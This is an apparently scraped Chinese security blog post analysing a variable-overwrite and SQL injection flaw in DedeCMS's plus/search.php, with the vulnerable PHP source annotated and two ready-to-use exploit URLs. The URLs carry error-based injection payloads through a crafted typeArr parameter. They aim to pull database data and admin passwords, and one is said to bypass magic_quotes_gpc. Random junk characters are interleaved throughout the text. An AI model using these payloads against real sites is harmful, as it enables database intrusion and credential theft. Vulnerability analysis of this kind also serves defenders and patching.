微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.- s) G5 |8 c6 H- N S& W* R3 U
作者: c4rp3nt3r@0x50sec.org8 I# T7 T$ ]" ]' X2 \
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.9 w: l6 W1 ?: ^7 ]3 D2 a2 O
. E3 v$ S( x. E; a2 P: h黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
4 j- @! F( w) O! o5 G
' T. d! `; w, C4 r============" i1 e) ~# M8 n4 M$ E5 M
: B) m! F \; q* }. a. I! w # G* z( C6 {8 [7 h) ]
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.% B5 E8 \+ F( |' \# g
' O. \/ [! e3 S; p& srequire_once(dirname(__FILE__).”/../include/common.inc.php”);0 k1 v7 A+ A/ _; H
require_once(DEDEINC.”/arc.searchview.class.php”);
1 g! _8 E: J" I1 {& R1 q* H
1 U. v, f9 x$ V. p5 S. C$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
+ G1 U- p8 j$ H- q8 q$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
6 ~/ e( q5 J/ N! Z) h4 ~- D; Y$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0; g; i) c9 y$ `1 ~' F
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;" q8 A7 \& R' p$ ]5 \% T
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;4 S. r6 r+ X8 [! ^6 u6 Y
# r8 H4 H9 u. e5 [
if(!isset($orderby)) $orderby=”;
; s/ @3 e' B' ^else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);6 g: s O' D# m% t5 W
; j1 a) }/ @% b. ^
3 s; D) I3 X1 |4 @9 q I
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;: B3 [7 k+ D! l1 z
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
7 j" Q* o) s+ p2 f* e: W; ^, h
5 n6 X" e( y7 g6 d1 X' Xif(!isset($keyword)){
1 I( N, {1 p$ T7 B/ ^8 H8 n2 p if(!isset($q)) $q = ”;
' M8 I I* ?' B $keyword=$q;1 W( U3 R: n' d, m9 W0 N
}3 K6 j! n; O8 L* q S) ]
6 I" h! S4 ?4 h0 `' {, x+ e% g
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));3 v% [% ]( T7 q1 _$ w
4 ?) R7 E" c% h" Z
//查找栏目信息
: i+ O3 W& j$ ]4 Z6 W6 oif(empty($typeid))! p; p0 S' s% @: z! j% j
{, [% `/ e. F X
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
, c- E5 [- f# `0 X: s7 B9 D3 i: q- H if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )/ z( D7 I- y$ a# _
{
- A4 h( Z8 k0 p$ ^9 ~- h $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
+ r+ p% ^0 |% F; u# |7 D fwrite($fp, “<”.”?php\r\n”);
6 m# d" B6 R6 y5 m+ B $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);' o+ X5 i, L0 v8 s. C3 h
$dsql->Execute();3 t/ p$ Q1 l w/ C' C- }1 X( y
while($row = $dsql->GetArray())
/ e2 t' j( h; C* D {
9 V" ~: T' {7 o& _7 R+ a( V! O fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);( ~: ], O L$ c" {* b( X
}" f$ ]- D5 {* E5 R% W
fwrite($fp, ‘?’.'>’);& `* a# s; C: g7 W( l
fclose($fp);
1 ]! S' W7 a0 A" T9 ~ }/ f/ [2 T( @2 O7 J) P) \" c
//引入栏目缓存并看关键字是否有相关栏目内容; o6 a+ ^9 m" f( f5 D8 s+ e: j
require_once($typenameCacheFile);
1 p, k8 j: m3 `& E" V A U//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
: T3 h+ P$ o4 V) j( i//
4 b4 e& D; R9 ? N9 _ if(isset($typeArr) && is_array($typeArr))
7 S p U+ l' x% h {
4 i, F4 \4 R2 B" S% V, r foreach($typeArr as $id=>$typename), h8 D6 ` ]7 g! z: E
{
; S2 ?7 I3 h3 x* y: [ { 7 H" ~$ x5 {# m8 g E8 V
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过9 r$ M _4 n \) Y, v
if($keyword != $keywordn)
' W6 n+ e& E9 `# ?7 F$ ^( y {/ v! `$ w# Y- a# t" ^1 R
$keyword = $keywordn;
( R$ p: f+ h! d' \9 ^ <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
" P+ I$ X; L- T' S/ C- I+ k$ V break;
' S ~' F% Y6 O5 V# q' G7 {- g) I }
5 T7 T/ y3 ? a& J' L }
S1 }+ r8 W% }" k s* k }8 ?$ d0 k }1 q! p5 a
} b5 f/ K8 N d( `
然后plus/search.php文件下面定义了一个 Search类的对象 .
: K$ R6 Q/ ^! V" j6 Q/ L在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类./ l. ]/ X8 p8 `) M
$this->TypeLink = new TypeLink($typeid);, U0 \2 x5 w7 h- H, L
3 ]$ i) m! h1 ?9 c; |; ZTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
: I) ]" h U% g
0 Z9 E! o4 t4 ^- y' Qclass TypeLink
; p9 S/ k% s) [; b{7 Q3 `0 O: X) |& g
var $typeDir;
i3 B$ a8 u0 f6 S" l( f var $dsql;" A% T, [8 X7 S' U
var $TypeID;' k! i/ E- Q3 Y* k" U4 X! F
var $baseDir;
; A6 V/ D* [; Q8 ^% @7 O3 K0 S7 @: k var $modDir;9 R m% @) L. T) A8 H6 Z3 i
var $indexUrl;& M9 c% D2 Y# b& Z2 `' G
var $indexName;+ @" O/ E4 x E5 _5 |2 V4 G% i
var $TypeInfos;
, S6 C% Z9 c7 C1 R0 { var $SplitSymbol;% x) e: q& w# c
var $valuePosition;
- `+ @9 _& T: w w+ Y var $valuePositionName;
' U) }% b) C5 r& ^( G* M0 d$ A var $OptionArrayList;//构造函数///////9 o9 B- F) N. G" p* Q% [
//php5构造函数% Q/ C9 R' j: z
function __construct($typeid)
8 f ]; s+ n6 b. [' }% d7 G {$ D8 i' k) ^. I) Z
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
2 A. x3 k+ J% t* d4 M& D- ?3 \ $this->indexName = $GLOBALS['cfg_indexname'];
: e/ M2 G v% _5 v' B: v8 ? i, ` $this->baseDir = $GLOBALS['cfg_basedir'];4 r4 O2 P* I7 d: j
$this->modDir = $GLOBALS['cfg_templets_dir'];
3 B6 K8 ^0 S0 W* ^ $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
6 E; [2 g, P/ F0 V, g" ~+ _- h: H8 N2 b $this->dsql = $GLOBALS['dsql'];/ L3 _& ^9 P$ h- a# ~+ R5 Z
$this->TypeID = $typeid;
4 q+ W2 o. C$ ]3 @ $this->valuePosition = ”;" e! J8 f* K0 E3 F8 T6 R
$this->valuePositionName = ”;
1 P6 V- ?% [0 ]' K: L $this->typeDir = ”;( O0 h5 e9 g1 m( J% @( m6 Z
$this->OptionArrayList = ”;
: X2 O/ U" E( V8 [5 @6 n( {5 R2 W5 s
# [+ G* ~2 p% ~/ R9 W //载入类目信息
, R5 B' A' Z- C/ H$ `4 ?4 @ ' r/ e! J5 j; E' s7 k* R
<font color=”Red”>$query = “SELECT tp.*,ch.typename as% \# ]1 w8 I" v% M: q u
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
% U& f. ?; ^- k% f4 N`#@__channeltype` ch
; X8 N3 v7 N$ K. H' F4 S) e on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿5 Z- B+ \% g: _ w
2 r/ J6 `4 I$ R5 w* W if($typeid > 0), m5 I. g, t* d2 X' n: O f
{
: K: t5 b# h4 _$ g0 s. b* Q $this->TypeInfos = $this->dsql->GetOne($query);
+ A- w) {) d9 G# m( R. U t利用代码一 需要 即使magic_quotes_gpc = Off: t8 T/ {- |0 O/ u- I
: g) F1 w6 m5 V; Pwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
, U/ `* o6 c a2 k 9 u4 J+ H, X7 u
这只是其中一个利用代码… Search 类的构造函数再往下
6 |1 f2 H0 ]( W# m
' ~4 e- M1 \- w. T" E- w5 k……省略
& L1 w1 n& ]# X$this->TypeID = $typeid;
/ I% d- W' z7 Z! c# k8 C, @……省略! N# h6 O. {0 m, S5 f5 S1 S
if($this->TypeID==”0″){4 x6 Q! {1 x$ _2 S# r
$this->ChannelTypeid=1;
3 E+ t8 e* O. `) o! J) S }else{) b! Y- [+ M, X) U' q5 ~ w
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲 O+ X2 K p2 W, F( Z
//现在不鸡肋了吧亲…4 `4 I/ ]1 n# n/ k- U
$this->ChannelTypeid=$row['channeltype'];4 [4 r: C4 D' H/ T, G8 ]+ X' @: y9 w! h
0 [: f- p2 W: }3 @1 I1 M4 n
}
+ b5 l0 `9 l0 Y0 p利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.0 `" O6 W+ u+ u: q
7 C7 ~) b: o2 ^- s7 J! Lwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
1 |" S6 [" `7 D7 X+ X4 I+ Y( ? , S9 U$ j* E: l7 [4 A; C. j
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站4 k9 |& u5 P6 o. h+ O
|